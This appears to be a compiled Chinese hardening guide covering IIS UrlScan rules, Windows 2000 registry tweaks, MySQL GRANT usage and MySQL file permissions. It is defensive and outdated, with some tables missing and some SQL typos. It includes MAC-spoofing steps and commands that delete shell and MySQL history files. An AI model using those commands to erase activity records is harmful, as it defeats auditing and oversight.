  NormalizeUrlBeforeScan:在检测URL之前规格化URL;如果为1,URLScan将在IIS编码URL之前URL进行检测;需要提醒的是,只有管理员对URL解析非常熟悉的情况下才可以将其设置为0;默认为1;

  VerifyNormalization:如果设置为1,UrlScan将校验URL规则,默认为1;此节设定与NormalizeUrlBeforeScan有关;

  AllowHighBitCharacters:如果设置为1,将允许URL中存在所有字节,如果为0,含有非ASCII字符的URL将拒绝;默认为1;

  AllowDotInPath:如果设置为1,将拒绝所有含有多个"."的URL请求,由于URL检测在IIS解析URL之前,所以,对这一检测的准确性不能保证,默认为0;

  RemoveServerHeader:如果设置为1,将把所有应答的服务头清除,默认为0;

  (2)[AllowVerbs]节配置

  如果UseAllowVerbs设置为1,此节设置的所有请求将被允许,一般设置以下请求:

  GET、HEAD、POST

  (3)[DenyVerbs]节配置

  如果UseAllowVerbs设置为0,此节设置的所有请求将拒绝,一般设置以下请求:

  PROPFIND、PROPPATCH、MKCOL、delete、PUT、COPY、MOVE、LOCK、UNLOCK

  (4)[AllowExtensions]节设置

  在这一节设置的所有扩展名文件将被允许请求,一般设置以下请求:

  .asp、.htm、.html、.txt、.jpg、.jpeg、.gif,如果需要提供文件下载服务,需要增加.rar、.zip

  (5)[DenyExtensions]节设置

  在这一节设置的所有扩展名文件请求将被拒绝,根据已经发现的漏洞,我们可以在这一节增加内容,一般为以下设置:
.asa、可执行文件、批处理文件、日志文件、罕见扩展如:shtml、.printer等。


44.以上两个工具功能强大,可以真正实现对IIS的保护。IIS Lock Tool简单,相对而言,只是被动的防卫;UrlScan设置比较难,建议对IIS非常熟悉的管理员使用,只要设置得当,UrlScan的功能更加强大。在使用UrlScan的时候,切记不要设置一次万事大吉,需要不停跟踪新出现的漏洞,随时修改URLScan的配置文件。


45.Win2000的默认安装允许任何用户通过空用户得到系统所有账号/共享列表,这个本来是为了方便局域网用户共享文件的,但是一个远程用户也可以得到你的用户列表并使用暴力法破解用户密码。很多朋友都知道可以通过更改注册表Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous = 1来禁止139空连接,实际上win2000的本地安全策略(如果是域服务器就是在域服务器安全和域安全策略中)就有这样的选项RestrictAnonymous(匿名连接的额外限制),这个选项有三个值: 0:None. Rely on default permissions(无,取决于默认的权限 1 :Do not allow enumeration of SAM accounts and shares(不允许枚举SAM帐号和共享) 2:No access without explicit anonymous permissions(没有显式匿名权限就不允许访问) 0这个值是系统默认的,什么限制都没有,远程用户可以知道你机器上所有的账号、组信息、共享目录、网络传输列表(NetServerTransportEnum等等,对服务器来说这样的设置非常危险。 1这个值是只允许非NULL用户存取SAM账号信息和共享信息。 2这个值是在win2000中才支持的,需要注意的是,如果你一旦使用了这个值,你的共享估计就全部完蛋了,所以我推荐你还是设为1比较好。 好了,入侵者现在没有办法拿到我们的用户列表,我们的账户安全了

46.禁止显示上次登陆的用户名HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\winlogon项中的Don’t Display Last User Name串数据改成1,这样系统不会自动显示上次的登录用户名。将服务器注册表HKEY_LOCAL_ MACHINE\SOFTWARE\Microsoft\
WindowsNT\CurrentVersion\Winlogon项中的Dont Display Last User Name串数据修改为1,隐藏上次登陆控制台的用户名。其实,在2000的本地安全策略中也存在该选项
Winnt4.0修改注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon 中增加DontDisplayLastUserName,将其值设为1。

47.在注册表HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters中更改以下值可以帮助你防御一定强度的DoS攻击 SynAttackProtect REG_DWORD 2
EnablePMTUDiscovery REG_DWORD 0 NoNameReleaseOnDemand REG_DWORD 1
EnableDeadGWDetect REG_DWORD 0 KeepAliveTime REG_DWORD 300,000
PerFORMRouterDiscovery REG_DWORD 0 EnableICMPRedirects REG_DWORD 0

48.打开本地安全策略,选择IP安全策略,在这里我们可以定义自己的IP安全策略。一个IP安全过滤器由两个部分组成:过滤策略和过滤操作,过滤策略决定哪些报文应当引起过滤器的关注,过滤操作决定过滤器是"允许"还是"拒绝"报文的通过。要新建IP安全过滤器,必须新建自己的过滤策略和过滤操作:右击本机的IP安全策略,选择管理IP过滤器,在IP过滤器管理列表中建立一个新的过滤规则:ICMP_ANY_IN,源地址选任意IP,目标地址选本机,协议类型是ICMP,切换到管理过滤器操作,增加一个名为Deny的操作,操作类型为"阻止"(Block)。这样我们就有了一个关注所有进入ICMP报文的过滤策略和丢弃所有报文的过滤操作了。需要注意的是,在地址选项中有一个镜像选择,如果选中镜像,那么将会建立一个对称的过滤策略,也就是说当你关注any IP->my IP的时候,由于镜像的作用,实际上你也同时关注了my IP->any IP,你可以根据自己的需要选择或者放弃镜像。再次右击本机的IP安全策略,选择新建IP过滤策略,建立一个名称为ICMP Filter的过滤器,通过增加过滤规则向导,我们把刚刚定义的ICMP_ANY_IN过滤策略指定给ICMP Filter,然后在操作选框中选择我们刚刚定义的Deny操作,退出向导窗口,右击ICMP Filter并启用它,现在任何地址进入的ICMP报文都会被丢弃了。
  虽然用IP sec能够对ICMP报文进行过滤,不过操作起来太麻烦,而且如果你只需要过滤特定的ICMP报文,还要保留一些常用报文(如主机不可达、网络不可达等),IP sec策略就力不从心了,我们可以利用Win2000的另一个强大工具路由与远程访问控制(Routing & Remote Access)来完成这些复杂的过滤操作。

  路由与远程访问控制是Win2000用来管理路由表、配置VPN、控制远程访问、进行IP报文过滤的工具,默认情况下并没有安装,所以首先你需要启用它,打开"管理工具"->"路由与远程访问",右击服务器(如果没有则需要添加本机)选择"配置并启用路由及远程访问",这时配置向导会让你选择是什么样的服务器,一般来说,如果你不需要配置VPN服务器,那么选择"手动配置"就可以了,配置完成后,主机下将出现一个IP路由的选项,在"常规"中选择你想配置的网卡(如果你有多块网卡,你可以选择关闭某一块的ICMP),在网卡属性中点击"输入筛选器",添加一条过滤策略"from:ANY to:ANY 协议:ICMP 类型:8 :编码 丢弃"就可以了(类型8编码0就是Ping使用的ICMP_ECHO报文,如果要过滤所有的ICMP报文只需要将类型和编码都设置为255)

49.改变windows系统的一些默认值(例如:数据包的生存时间(TTL)值,不同系统有不同的值,有经验的人可以根据TTL的不同的值判断对方使用的是何种操作系统(例如windows 2000默认值128)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\P arameters

DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128)

说明:指定传出IP数据包中设置的默认生存时间(TTL)值.TTL决定了IP数据包在到达
目标前在网络中生存的最大时间.它实际上限定了IP数据包在丢弃前允许通过的路由
器数量.有时利用此数值来探测远程主机操作系统.

50.防止ICMP重定向报文的攻击
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\P arameters

EnableICMPRedirects REG_DWORD 0×0(默认值为0×1)

说明:该参数控制Windows 2000是否会改变其路由表以响应网络设备(如路由器)发送给它的ICMP重定向消息,有时会被利用来干坏事.Win2000中默认值为1,表示响应ICMP重定向报文.

51.禁止响应ICMP路由通告报文
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\P arameters\Interfaces\interface
PerformRouterDiscovery REG_DWORD 0×0(默认值为0×2)

说明:"ICMP路由公告"功能可造成他人计算机的网络连接异常,数据被窃听,计算机被用于流量攻击等严重后果.此问题曾导致校园网某些局域网大面积,长时间的网络异常.因此建议关闭响应ICMP路由通告报文.Win2000中默认值为2,表示当DHCP发送路由器发现选项时启用

52.防止SYN洪水攻击
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\P arameters

SynAttackProtect REG_DWORD 0×2(默认值为0×0)

说明:SYN攻击保护包括减少SYN-ACK重新传输次数,以减少分配资源所保留的时
间.路由缓存项资源分配延迟,直到建立连接为止.如果synattackprotect=2,
则AFD的连接指示一直延迟到三路握手完成为止.注意,仅在TcpMaxHalfOpen和
TcpMaxHalfOpenRetried设置超出范围时,保护机制才会采取措施.

53.禁止C$、D$一类的缺省共享
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmans erver\parameters
AutoShareServer、REG_DWORD、0×0

54.禁止ADMIN$缺省共享
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmans erver\parameters
AutoShareWks、REG_DWORD、0×0
10.限制IPC$缺省共享
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

restrictanonymous REG_DWORD 0×0 缺省
0×1 匿名用户无法列举本机用户列表
0×2 匿名用户无法连接本机IPC$共享
说明:不建议使用2,否则可能会造成你的一些服务无法启动,如SQL Server

55.不支持IGMP协议
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\P arameters

IGMPLevel REG_DWORD 0×0(默认值为0×2)

说明:记得Win9x下有个bug,就是用可以用IGMP使别人蓝屏,修改注册表可以修正这个
bug.Win2000虽然没这个bug了,但IGMP并不是必要的,因此照样可以去掉.改成0后用
route print将看不到那个讨厌的224.0.0.0项了.

56.设置arp缓存老化时间设置
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\ Parameters

ArpCacheLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为120秒)
ArpCacheMinReferencedLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为600)

说明:如果ArpCacheLife大于或等于ArpCacheMinReferencedLife,则引用或未引用的ARP缓存项在ArpCacheLife秒后到期.如果ArpCacheLife小于阿ARPCacheMinReferencedLife,未引用项在ArpCacheLife秒后到期,而引用项在ArpCacheMinReferencedLife秒后到期.每次将出站数据包发送到项的IP地址时,就会引用ARP缓存中的项。

57.禁止死网关监测技术
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\ Parameters

EnableDeadGWDetect REG_DWORD 0×0(默认值为ox1)

说明:如果你设置了多个网关,那么你的机器在处理多个连接有困难时,就会自动改用备份网关.有时候这并不是一项好主意,建议禁止死网关监测.

58.不支持路由功能
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\ Parameters

IPEnableRouter REG_DWORD 0×0(默认值为0×0)

说明:把值设置为0×1可以使Win2000具备路由功能,由此带来不必要的问题.

59.做NAT时放大转换的对外端口最大值
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\ Parameters

MaxUserPort REG_DWORD 5000-65534(十进制)(默认值0×1388–十进制为5000)

说明:当应用程序从系统请求可用的用户端口数时,该参数控制所使用的最大端口数.正常情况下,短期端口的分配数量为1024-5000.将该参数设置到有效范围以外时,就会使用最接近的有效数值(5000或65534).使用NAT时建议把值放大点.

60.修改MAC地址
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\

找到右窗口的说明为"网卡"的目录,
比如说是{4D36E972-E325-11CE-BFC1-08002BE10318}

展开之,在其下的0000,0001,0002…的分支中找到"DriverDesc"的键值为你网卡的说明,比如说"DriverDesc"的值为"Intel? 82559 Fast Ethernet LAN on Motherboard"然后在右窗口新建一字符串值,名字为"Networkaddress",内容为你想要的MAC值,比如说是"004040404040"然后重启动计算机,ipconfig /all看看.

61.防止密码被DUMP,你只需在服务里面关掉Remote regisitery servicess

          MySQL管理员应该知道怎样通过指定哪些用户可连接到服务器、从哪里进行连接,以及在连接时做什么,来设置MySQL用户账号。MySQL3.22.11引入了两个更容易进行这项工作的语句:GRANT 语句创建MySQL用户并指定其权限,REVOKE 语句删除权限。这两个语句充当mysql数据库中的授权表的前端,并提供直接操纵这些表内容的可选择的方法。GRANT 和REVOKE 语句影响以下四个表:

授权表 内容

user 可连接到服务器的用户和他们拥有的任何全局特权

db 数据库级的特权

tables _ priv 表级特权

c o l um n s _ priv 列级特权   

还有第五个授权表( host),但它不受GRANT 或REVOKE 的影响。

当您为某个用户发布GRANT 语句时,应在user 表中为该用户创建一个项。如果该语句指定了所有全局特权(管理权限或用于所有数据库的权限),则这些指定也被记录在user 表中。如果指定了数据库、表或列的权限,它们将记录在db、tables_priv 和columns_priv 表中。使用GRANT 和REVOKE 语句比直接修改授权表更容易.

本节下面的部分将讨论如何设置MySQL用户的账号和授权,还将介绍如何取消权限以及从授权表中删除全部用户,并且将考虑一个困扰许多新的MySQL管理员的难题。 您还要考虑使用mysqlaccess 和mysql_setpermission 脚本,它们是MySQL分发包的组成部分。这些是Perl 的脚本,它们提供了设置用户账号的GRANT 语句的代用品。mysql_setpermission 需要具有DBI 的支持环境。

创建新用户和授权

GRANT 语句的语法:

GRANT privileges (columns)  ON what TO user IDENTIFIEDBY "password" WITH GRANT OPTION

要使用该语句,需要填写以下部分:

  privileges 分配给用户的权限。下表列出了可在GRANT 语句中使用的权限说明符:

  权限说明符权限允许的操作  


上表显示的第一组权限说明符适用于数据库、表和列。第二组说明符是管理特权。通常,这些权限的授予相当保守,因为它们会影响服务器的操作(例如, SHUTDOWN 特权不是按每天来分发的权限)。第三组说明符是特殊的。ALL 的意思是“所有的权限”,而USAGE 的意思是“无权限”─即创建用户,但不授予任何的权限。

columns 权限适用的列。这是可选的,只来设置列专有的权限。如果命名多于一个列,则用逗号分开。

  what 权限应用的级别。权限可以是全局的(适用于所有数据库和所有的表)、数据库专有的(适用于某个数据库中的所有表),或表专有的。可以通过指定一个C O L U M N S子句将权限授予特定的列。

  user 使用权限的用户。它由用户名和主机名组成。在MySQL中,不仅指定谁进行连接,还要指定从哪里连接。它允许您拥有两个带有相同名字的、从不同位置连接的用户。MySQL允许在它们之间进行区别并相互独立地分配权限。

MySQL的用户名就是您在连接到服务器时指定的名字。该名字与您的UNIX 注册名或Windows 名的没有必然连系。缺省设置时,客户机程序将使用您注册的名字作为MySQL的用户名(如果您不明确指定一个名字的话),但这只是一个约定。有关将root 作为可以

  操作一切MySQL的超级用户名也是这样,就是一种约定。您也可以在授权表中将此名修改成nobody,然后作为nobody 用户进行连接,以执行需要超级用户特权的操作。

password 分配给该用户的口令。这是可选的。如果您不给新用户指定IDENTIFIEDBY子句,该用户不分配口令(是非安全的)。对于已有的用户,任何指定的口令将替代旧口令。如果不指定新口令,用户的旧口令仍然保持不变。当您确实要使用ID E N T I F I E DBY 时,该口令串应该是直接量,GRANT 将对口令进行编码。当用SET PA S S W O R D语句时,不要使用PASSWORD() 函数。

WITH GRANT OPTION 子句是可选的。如果包含该子句,该用户可以将GRANT 语句授予的任何权限授予其他的用户。可以使用该子句将授权的能力授予其他的用户。

  用户名、口令以及数据库和表的名称在授权表项中是区分大小写的,而主机名和列名则不是。

  通过查询某些问题,通常可以推断出所需的GRANT 语句的类型:

  谁可以进行连接,从哪里连接?

  用户应具有什么级别的权限,这些权限适用于什么?

  允许用户管理权限吗?

  让我们来提问这些问题,同时看一些利用GRANT 语句设置MySQL用户账号的例子。

1. 谁可以进行连接,从哪里连接

  您可以允许用户在特定的主机或涉及范围很宽的一组主机中进行连接。在一个极端,如果知道用户将仅从那个主机中进行连接,则可限定对单个主机的访问:

  GRANT ALL ON samp_db.* TO boris@localhost IDENTFIEDBY "ruby"

  GRANT ALL ON samp_db.* TO fred@ares.mars.net IDENTFIEDBY "quartz"

  (符号samp_db.* 含义是“在samp_db 数据库中的所有表”)在另一个极端,您可能会有一个用户m a x,他周游世界并需要能够从世界各地的主机中进行连接。在这种情况下,无论他从哪里连接您都将允许:

  GRANT ALL ON samp_db.* TO max@% IDENTFIEDBY "diamond"

 ‘%’字符起通配符的作用,与LIKE 模式匹配的含义相同,在上个语句中,它的意思是“任何主机”。如果您根本不给出主机名部分,则它与指定“ %”的含义相同。因此, max 和max@% 是等价的。这是设置一个用户最容易的方法,但安全性最小.

要想采取妥协的办法,可允许用户在一组有限的主机中进行连接。例如,要使mary 从snake.net 域的任何主机中进行连接,可使用%.snake.net 主机说明符:

  GRANT ALL ON samp_db.* TO mary@%.snake.net IDENTFIEDBY "topaz"

  该用户标识符的主机部分可用IP 地址而不是主机名给出(如果愿意的话)。可以指定一个直接的IP 地址或包含模式字符的地址。同样,自MySQL3.23 起,可以用一个网络掩码来指定IP 号,网络掩码表明了用于该网络号的二进制位数:

  GRANT ALL ON samp_db.* TO joe@192.168.0.3 IDENTIFIEDBY "water"

  GRANT ALL ON samp_db.* TO ardis@192.168.128.% IDENTIFIEDBY "snow"

  GRANT ALL ON samp_db.* TO rex@192.168.128.0/17 IDENTIFIEDBY "ice"

  第一条语句指明用户可进行连接的特定的主机。第二条语句指定129.168.128 Class C 子网的IP 模式。在第三条语句中, 192.168.128.0/17 指定一个17 位二进制的网络号,并将任何主机与其IP 地址的前17 个二进制位中的192.168.128.0/17 进行匹配.

如果MySQL抱怨您指定的用户值,则可能需要使用引号(但对用户名和主机名分别加引号):

  GRANT ALL ON samp_db.president TO "my friend"@"boa.snake.net"

  2. 用户应具有什么级别的权限,这些权限适用于什么

   您可授予不同级别的权限。全局权限的功能最强,因为它们适用于任何数据库。为了使ethel 成为可以进行一切操作的超级用户(其中包括可以对其他用户授权),发布下列语句:

  GRANT ALL ON *.* TO ethel@localhost IDENTIFIEDBY "coffee"

  WITH GRANT OPTION

  ON 子句中*.* 说明符的意思是“所有数据库,所有的表”,为保险起见,我们已经指定ethel 只能从本地主机中连接。限制超级用户从哪些主机上进行连接通常是明智的做法,因为它限制住了其他用户对口令进行试探。

  有些权限( F I L E、P R O C E S S、RELOAD 和S H U T D O W N)是管理权限,只能用NO *.* 全局权限说明符来授予。如果希望的话,也可以不用授予数据库级的权限来授予这些权限。例如,下列语句建立了一个flush 用户,它除了发布FLUSH 语句外不做其他任何事情。在管理脚本中这可能是有用的,因为需要在这些脚本中执行诸如在日志文件循环期间刷新日志的操作:

  GRANT RELOAD ON *.* TO flush@localhost IDENTIFIEDBY "flushpass"

  通常授予管理权限应该是保守的,因为具有这些权限的用户可能影响服务器的操作。

  数据库级的权限适用于特定数据库中的所有表。这些权限使用ON db_name.* 子句进行授予:

  GRANT ALL ON samp_db.* TO bill@racer.snake.net IDENTIFIEDBY "rock"

  GRANT SELECT ON menagerie.* TO ro_user@% IDENTIFIEDBY "dirt"

  第一条语句将bill 的所有权限授予samp_db 数据库的任何表。第二条语句创建一个限制访问的用户r o _ user(只读用户),它可以访问menagerie 数据库的所有表,但只能读取。也就是说,该用户只能发布SELECT 语句。

怎样在授权表项中指定本地主机名

   如果您使用服务器的主机名而非localhost,通常存在从该服务器主机连接的问题。这可能是由于在授权表中指定名字的方法和名字分解器例程( name reslover routine)向程序报告名字的方法之间的错误匹配。如果分解器报告了一个非限定的名字(如p i t – v i per),但授权表包含了具有全限定的名字的项(如p i t – v i per. s n a k e . n e t,反之亦然),则发生错误匹配。

  为了确定这种情况是否正在系统中发生,可试着用-h 选项连接到本地服务器,该选项指定了主机的名字。然后查看服务器的常规日志文件。它是怎样报告主机名的?是以非限定形式还是限定形式?不论它是哪种形式,都将告诉您在发布GRANT 语句时需要怎样指定用户说明符的主机名部分。

  可以同时列出许多被授予的单个权限。例如,如果想让用户能读取和修改已有表的内容,但又不允许创建新表或删除表,可按如下授权:

  GRANT SELECT,INSERT,DELETE,UPDATE ON samp_db.* TO jennie@%

  IDENTIFIEDBY "boron"

  对于更小粒度( f i n e – g r a i n e d)的访问控制,可以在单个表上授权,甚至在表的单个列上授权。当存在要对用户隐藏的表时,或者,当只允许用户修改特定列时,列专有的权限是有用的。假定历史同盟会中有一些志愿者利用您作为同盟会秘书应履行的职责来帮助您工作。这是一个好消息,但您决定首先给新的助手授予对member 表只读的权限(该表中包含了会员资格的信息),然后再对他们增加授予该表的expiration 列的列专有UPDATE权限。也就是说,您的助手可以在人们更新其会员资格时进行更改截止日期的工作。设置此MySQL用户的语句如下:


  第一条语句授予对整个member 表的读访问权并设置口令。第二条语句增加UPDATE权限,但只是对expiration 列。此时不必要再指定口令,因为在第一条语句中已经完成了。

  如果想要为多个列授予列专有的权限,可指定一个列清单,并用逗号将这些列分隔。例如,为了给assistant 用户增加对member 表地址列的UPDATE权限,可以使用下列语句。新的权限将被增加到对该用户来说已经存在的所有列上:

  GRANT UPDATE (street,city,state,zip) ON samp_db.member

  TO assistant@localhost

  通常,不要给用户授予比实际需要更大的权限。但是,当您想要使用户能够创建存储中间结果的临时表,而又不允许用户在包含有他们不能修改的数据的数据库中这样做时,就有了要在数据库上授予相当多的许可权限的理由。您可以建立一个单独的数据库(笔者称它为t m p)并授予用户该数据库的所有权限。例如,如果想要mars.net 域的主机中的任何用户都能够使用tmp 数据库,可发布下列GRANT 语句:

  GRANT ALL ON tmp.* TO ""@%.mars.net

  在完成这些之后,用户可使用tmp.tbl_name 格式的名字创建和引用tmp 数据库中的表(用户说明符中的“” 创建一个匿名用户项,任何用户都与空白用户名相匹配)。

  3. 允许用户管理权限吗

  通过授予数据库所有者数据库的所有权限并在操作时指定WITH GRANT OPTION,可以允许数据库所有者控制对该数据库的访问。例如,如果要让alicia 能在big.corp.com 域的所有主机中进行连接并管理sales 数据库中所有表的权限,应使用下列GRANT 语句:



  实际上,WITH GRANT OPTION 子句允许将访问的权利授予给另一个用户。要知道,具有GRANT 权限的两个用户可以相互授予自己的权限。如果只给一个用户授予SELECT 权限而给另一个用户除SELECT 外还授予了GRANT 和其他的权限,则第二个用户可以使第一个用户“强大”起来。


  取消权限和删除用户

  为了收回某个用户的权限,可使用REVOKE 语句。除了要用FROM 替换TO 并且没有IDENTIFIEDBY 或WITH GRANT OPTION 子句外,REVOKE 的语法与GRANT 语句非常相似:

  REVOKE privileges (columns) ON what FROM user

  user 部分必须与您想要取消其权限的用户的原始GRANT 语句的user 部分相匹配。priv i l e g e s 部分不需要匹配,您可用GRANT 语句授权,然后用REVOKE 语句取消其中的一部分。REVOKE 语句只删除权限,不删除用户。用户的项仍然保留在user 表中,即使您取消了该用户的所有权限也是如此。这意味着该用户仍然可连接到服务器上。要想删除整个用户,必须用DELETE 语句将该用户的记录从user 表中直接删除:  


  

  DELETE 语句删除该用户的项, FLUSH 语句告诉服务器重新加载授权表(当使用GRANT 或REVOKE 语句,而不是直接修改授权表时,这些表将自动重新加载)。
  
  一个权限难题,第一部分

  下面是一个在MySQL邮件清单中反复出现的情况:一位新的MySQL管理员给某用户增加一个项,使用了主机名部分,该部分是用一个模式来指定的。例如:

  GRANT ALL ON samp_db.* TO fred@%.snake.net IDENTIFIEDBY "cocoa"

  这里的意图是允许用户fred 从snake.net 域的所有主机中进行连接,并且具有对samp_db 数据库的所有权限。事实上, fred 能够从那些主机中连接(除了服务器主机本身外)。当fred 试着从服务器主机中进行连接时,该企图以“访问被拒绝”的消息而告失败。

  即使用户指定了正确的口令也是如此。

  如果授权表中包含了由mysql_install_db 安装脚本安装的缺省项,这种情况也会发生。其原因是,当服务器验证fred 连接的企图时,一个匿名用户项( anonymous-user entry)比fred 项优先。匿名用户项要求该用户不用口令来连接,并且一个口令错误匹配发生。

  该问题的另一个背景将在第12章“权限难题,第二部分”中给出。目前,只要说修正此问题的方法是从user 表中删除匿名用户项就足够了,我们不能用R E V O K E,因为该命令只删除权限。要想完全摆脱这些匿名项,执行如下操作:

   % mysql-uroot mysql mysql> DELETE FROM user where User="";

  mysql>FLUSH PRIVILEGES;

  现在,当fred 试图从本地主机连接时成功了。

2005年05月25日
MySQL数据库安全配置
发布日期:2003-11-6 22:06:03   作者:   出处:
  1、前言 

  MySQL 是完全网络化的跨平台关系型数据库系统,同时是具有客户机/服务器体系结构的分布式数据库管理系统。它具有功能强、使用简便、管理方便、运行速度快、安全可靠性强等优点,用户可利用许多语言编写访问MySQL 数据库的程序,特别是与PHP更是黄金组合,运用十分广泛。 

  由于MySQL是多平台的数据库,它的默认配置要考虑各种情况下都能适用,所以在我们自己的使用环境下应该进行进一步的安全加固。作为一个MySQL的系统管理员,我们有责任维护MySQL数据库系统的数据安全性和完整性。 

  MySQL数据库的安全配置必须从两个方面入手,系统内部安全和外部网络安全,另外我们还将简单介绍编程时要注意的一些问题以及一些小窍门。 

  2、系统内部安全 

  首先简单介绍一下MySQL数据库目录结构。MySQL安装好,运行了mysql_db_install脚本以后就会建立数据目录和初始化数据库。如果我们用MySQL源码包安装,而且安装目录是/usr/local/mysql,那么数据目录一般会是/usr/local/mysql/var。数据库系统由一系列数据库组成,每个数据库包含一系列数据库表。MySQL是用数据库名在数据目录建立建立一个数据库目录,各数据库表分别以数据库表名作为文件名,扩展名分别为MYD、MYI、frm的三个文件放到数据库目录中。 

  MySQL的授权表给数据库的访问提供了灵活的权限控制,但是如果本地用户拥有对库文件的读权限的话,攻击者只需把数据库目录打包拷走,然后拷到自己本机的数据目录下就能访问窃取的数据库。所以MySQL所在的主机的安全性是最首要的问题,如果主机不安全,被攻击者控制,那么MySQL的安全性也无从谈起。其次就是数据目录和数据文件的安全性,也就是权限设置问题。 

  从MySQL主站一些老的binary发行版来看,3.21.xx版本中数据目录的属性是775,这样非常危险,任何本地用户都可以读数据目录,所以数据库文件很不安全。3.22.xx版本中数据目录的属性是770,这种属性也有些危险,本地的同组用户既能读也能写,所以数据文件也不安全。3.23.xx版本数据目录的属性是700,这样就比较好,只有启动数据库的用户可以读写数据库文件,保证了本地数据文件的安全。 

  如果启动MySQL数据库的用户是mysql,那么象如下的目录和文件的是安全的,请注意数据目录及下面的属性: 

  shell>ls -l /usr/local/mysql 

  total 40 

  drwxrwxr-x 2 root root 4096 Feb 27 20:07 bin 

  drwxrwxr-x 3 root root 4096 Feb 27 20:07 include 

  drwxrwxr-x 2 root root 4096 Feb 27 20:07 info drwxrwxr-x 3 root root 4096 Feb 27 20:07 lib drwxrwxr-x 2 root root 4096 Feb 27 20:07 libexec drwxrwxr-x 3 root root 4096 Feb 27 20:07 man drwxrwxr-x 6 root root 4096 Feb 27 20:07 mysql-test drwxrwxr-x 3 root root 4096 Feb 27 20:07 share drwxrwxr-x 7 root root 4096 Feb 27 20:07 sql-bench drwx—— 4 mysql mysql 4096 Feb 27 20:07 var

  shell>ls -l /usr/local/mysql/var 

  total 8 

  drwx—— 2 mysql mysql 4096 Feb 27 20:08 mysql 

  drwx—— 2 mysql mysql 4096 Feb 27 20:08 test 

  shell>ls -l /usr/local/mysql/var/mysql 

  total 104 

  -rw——- 1 mysql mysql 0 Feb 27 20:08 columns_priv.MYD 

  -rw——- 1 mysql mysql 1024 Feb 27 20:08 columns_priv.MYI 

  -rw——- 1 mysql mysql 8778 Feb 27 20:08 columns_priv.frm 

  -rw——- 1 mysql mysql 302 Feb 27 20:08 db.MYD 

  -rw——- 1 mysql mysql 3072 Feb 27 20:08 db.MYI 

  -rw——- 1 mysql mysql 8982 Feb 27 20:08 db.frm 

  -rw——- 1 mysql mysql 0 Feb 27 20:08 func.MYD 

  -rw——- 1 mysql mysql 1024 Feb 27 20:08 func.MYI 

  -rw——- 1 mysql mysql 8641 Feb 27 20:08 func.frm 

  -rw——- 1 mysql mysql 0 Feb 27 20:08 host.MYD 

  -rw——- 1 mysql mysql 1024 Feb 27 20:08 host.MYI 

  -rw——- 1 mysql mysql 8958 Feb 27 20:08 host.frm 

  -rw——- 1 mysql mysql 0 Feb 27 20:08 tables_priv.MYD 

  -rw——- 1 mysql mysql 1024 Feb 27 20:08 tables_priv.MYI 

  -rw——- 1 mysql mysql 8877 Feb 27 20:08 tables_priv.frm 

  -rw——- 1 mysql mysql 428 Feb 27 20:08 user.MYD 

  -rw——- 1 mysql mysql 2048 Feb 27 20:08 user.MYI 

  -rw——- 1 mysql mysql 9148 Feb 27 20:08 user.frm 

  如果这些文件的属主及属性不是这样,请用以下两个命令修正之: 

  shell>chown -R mysql.mysql /usr/local/mysql/var 

  shell>chmod -R go-rwx /usr/local/mysql/var 

  用root用户启动远程服务一直是安全大忌,因为如果服务程序出现问题,远程攻击者极有可能获得主机的完全控制权。MySQL从3.23.15版本开始时作了小小的改动,默认安装后服务要用mysql用户来启动,不允许root用户启动。如果非要用root用户来启动,必须加上–user=root的参数(./safe_mysqld –user=root &)。因为MySQL中有LOAD DATA INFILE和SELECT … INTO OUTFILE的SQL语句,如果是root用户启动了MySQL服务器,那么,数据库用户就拥有了root用户的写权限。不过MySQL还是做了一些限制的,比如LOAD DATA INFILE只能读全局可读的文件,SELECT … INTO OUTFILE不能覆盖已经存在的文件。 本地的日志文件也不能忽视,包括shell的日志和MySQL自己的日志。有些用户在本地登陆或备份数据库的时候为了图方便,有时会在命令行参数里直接带了数据库的密码,如: shell>/usr/local/mysql/bin/mysqldump -uroot -ptest test>test.sql shell>/usr/local/mysql/bin/mysql -uroot -ptest 这些命令会被shell记录在历史文件里,比如bash会写入用户目录的.bash_history文件,如果这些文件不慎被读,那么数据库的密码就会泄漏。用户登陆数据库后执行的SQL命令也会被MySQL记录在用户目录的.mysql_history文件里。如果数据库用户用SQL语句修改了数据库密码,也会因.mysql_history文件而泄漏。所以我们在shell登陆及备份的时候不要在-p后直接加密码,而是在提示后再输入数据库密码。

  另外这两个文件我们也应该不让它记录我们的操作,以防万一。 

  shell>rm .bash_history .mysql_history 

  shell>ln -s /dev/null .bash_history 

  shell>ln -s /dev/null .mysql_history 

  上门这两条命令把这两个文件链接到/dev/null,那么我们的操作就不会被记录到这两个文件里了。 

  3、外部网络安全 

  MySQL数据库安装好以后,Unix平台的user表是这样的: 

  mysql> use mysql; 

  Database changed 

  mysql> select Host,User,Password,Select_priv,Grant_priv from user; 

  +———–+——+———-+————-+————+ 

  | Host | User | Password | Select_priv | Grant_priv | 

  +———–+——+———-+————-+————+ 

  | localhost | root | | Y | Y | 

  | redhat | root | | Y | Y | 

  | localhost | | | N | N | 

  | redhat | | | N | N | 

  +———–+——+———-+————-+————+ 

  4 rows in set (0.00 sec) 

  Windows平台的user表是这样的: 

  mysql> use mysql; 

  Database changed 

